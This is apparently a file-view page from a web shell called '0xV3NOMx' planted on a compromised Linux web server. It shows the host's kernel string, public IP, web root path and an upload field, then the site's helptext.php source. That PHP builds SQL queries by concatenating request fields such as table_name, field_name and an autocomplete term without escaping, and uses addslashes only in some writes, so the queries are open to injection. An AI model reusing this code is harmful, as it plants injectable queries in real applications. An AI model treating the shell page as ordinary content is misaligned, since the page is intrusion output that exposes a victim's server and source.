0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.139.93.242


Current Path : /var/www/html/gug/src/
Upload File :
Current File : /var/www/html/gug/src/helptext.php

<?php

function help_text_value($aobj_context)
{
			$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
			$lstr_table_name = $aobj_context->mobj_data["table_name"];	      
			$lstr_qry = "select * from help_text where table_name ='".$lstr_table_name."' and field_name='0'";
			$lobj_rs = $aobj_context->mobj_db->GetRow($lstr_qry);
			if(!empty($lobj_rs))
	        echo $aobj_context->mobj_output->ToJSONEnvelope($lobj_rs,0,"success"); 
			else
	        echo $aobj_context->mobj_output->ToJSONEnvelope($lobj_rs,-1,"success"); 
			
			return;
}
function autocompletephp($aobj_context)
{
			$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
			$q = $aobj_context->mobj_data["part"];	      
			$lstr_qry = "SELECT  internal_code,module_name as value 
from s_user_schema where module_name like '%{$q}%'  ";
			$lobj_rs = $aobj_context->mobj_db->GetAll($lstr_qry);
			if(!empty($lobj_rs))
	   /*    echo "[";
foreach ($lobj_rs as $key=>$value) {
 
		echo "{ name: \"{$key}\", to: \"{$value[value]}\"  }	, ";
	
	}
		echo "]"; */
			echo  json_encode($lobj_rs);
}
 
 
function help_text_field_value($aobj_context)
{
			$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
			$lstr_table_name = $aobj_context->mobj_data["table_name"];	
			$lstr_field_name = $aobj_context->mobj_data["field_name"];			
			$lstr_qry = "select * from help_text where table_name ='".$lstr_table_name."' and field_name ='".$lstr_field_name."'";
		    $lobj_rs = $aobj_context->mobj_db->GetRow($lstr_qry);
			
		    echo $aobj_context->mobj_output->ToJSONEnvelope($lobj_rs,0,"success"); 
	        return;
}
function updateLeftNaviHelpTableText($aobj_context)
{
		$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
		$table_name = $aobj_context->mobj_data["table_name"]; 
		$help_text_value = $aobj_context->mobj_data["help_text_value"]; 
		$lstr_module_name = $aobj_context->mobj_data["ref_employee_master_code"]; 
		
      	$lstr_qry = "select count(*) as table_count from help_text where
		table_name='".$table_name."' and field_name='0'";
	
		$lobj_rs = $aobj_context->mobj_db->GetRow($lstr_qry);
	
		
		if($lobj_rs['table_count']==0)
		{
		   $lstr_qry = "insert into help_text (
				       table_name,
				       field_name,
				       help_text_value,
				       ref_employee_master_code,
				       modified_date
				       )
						values ( '".addslashes($aobj_context->mobj_data["table_name"])  ."',
								'0','"
			                   .   addslashes($aobj_context->mobj_data["help_text_value"])  ."','"
			                   .   addslashes($aobj_context->mobj_data["ref_employee_master_code"])."',
							   now() )";
		}
		else
		{
		  $lstr_qry = "update help_text
		  set table_name='".addslashes($aobj_context->mobj_data["table_name"])."',
				field_name='0',
				help_text_value='".addslashes($aobj_context->mobj_data["help_text_value"])."',
				ref_employee_master_code='".addslashes($aobj_context->mobj_data["ref_employee_master_code"])."',
				modified_date=now() where table_name='".addslashes($aobj_context->mobj_data["table_name"])."' 
				and field_name='0'";
				
		}
	// echo  $lstr_qry;
     $lobj_rs = $aobj_context->mobj_db->Execute($lstr_qry); 
   
     
        if(count($lobj_rs) != 0)
		{
		$rdata="Inserted Successfully";
		echo $aobj_context->mobj_output->ToJSONEnvelope($rdata,0,"success"); 
		return 	$rdata;
		}
		else
		{
		$rdata="Insertion Failed";
        echo $aobj_context->mobj_output->ToJSONEnvelope($rdata,0,"success"); 
		return 	$rdata;
		}
}

function updateFieldHelpText($aobj_context)
{
		$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
		$field_table_name = $aobj_context->mobj_data["field_table_name"]; 
		$field_help_text_field_name = $aobj_context->mobj_data["field_help_text_field_name"]; 
		$field_help_text_value = $aobj_context->mobj_data["field_help_text_value"]; 
		$ref_employee_master_code = $aobj_context->mobj_data["ref_employee_master_code"]; 
      
		$lstr_qry = "select count(*) as table_count from help_text where
					table_name='".$field_table_name."'
					and field_name='".$field_help_text_field_name."'";
		$lobj_rs = $aobj_context->mobj_db->GetRow($lstr_qry);
	
	 
		if($lobj_rs['table_count']==0)
		{
		   $lstr_qry = "insert into help_text (
	       table_name,
	       field_name,
	       help_text_value,
	       ref_employee_master_code,
	       modified_date
	       )
	        values ( '".addslashes($field_table_name)."','"
						.   addslashes($field_help_text_field_name)."','"
	                   .   addslashes($field_help_text_value)  ."','"
	                   .   addslashes($ref_employee_master_code)."',
					   now() )";
		}
		else
		{
		  $lstr_qry = "update help_text
		  set table_name='".addslashes($field_table_name)."',
				field_name='".addslashes($field_help_text_field_name)."',
				help_text_value='".addslashes($aobj_context->mobj_data["field_help_text_value"])."',
				ref_employee_master_code='".addslashes($aobj_context->mobj_data["ref_employee_master_code"])."',
				modified_date=now() where table_name='".addslashes($field_table_name)."' 
				and field_name='".addslashes($field_help_text_field_name)."'";
				
		}
	 
		$lobj_rs = $aobj_context->mobj_db->Execute($lstr_qry); 
   
     
        if(count($lobj_rs) != 0)
		{
		$rdata="Inserted Successfully";
		echo $aobj_context->mobj_output->ToJSONEnvelope($rdata,0,"success"); 
		return 	$rdata;
				}
		 else
		{
			$rdata="Insertion Failed";
        echo $aobj_context->mobj_output->ToJSONEnvelope($rdata,0,"success"); 
		return 	$rdata;
		}
}
		 
?>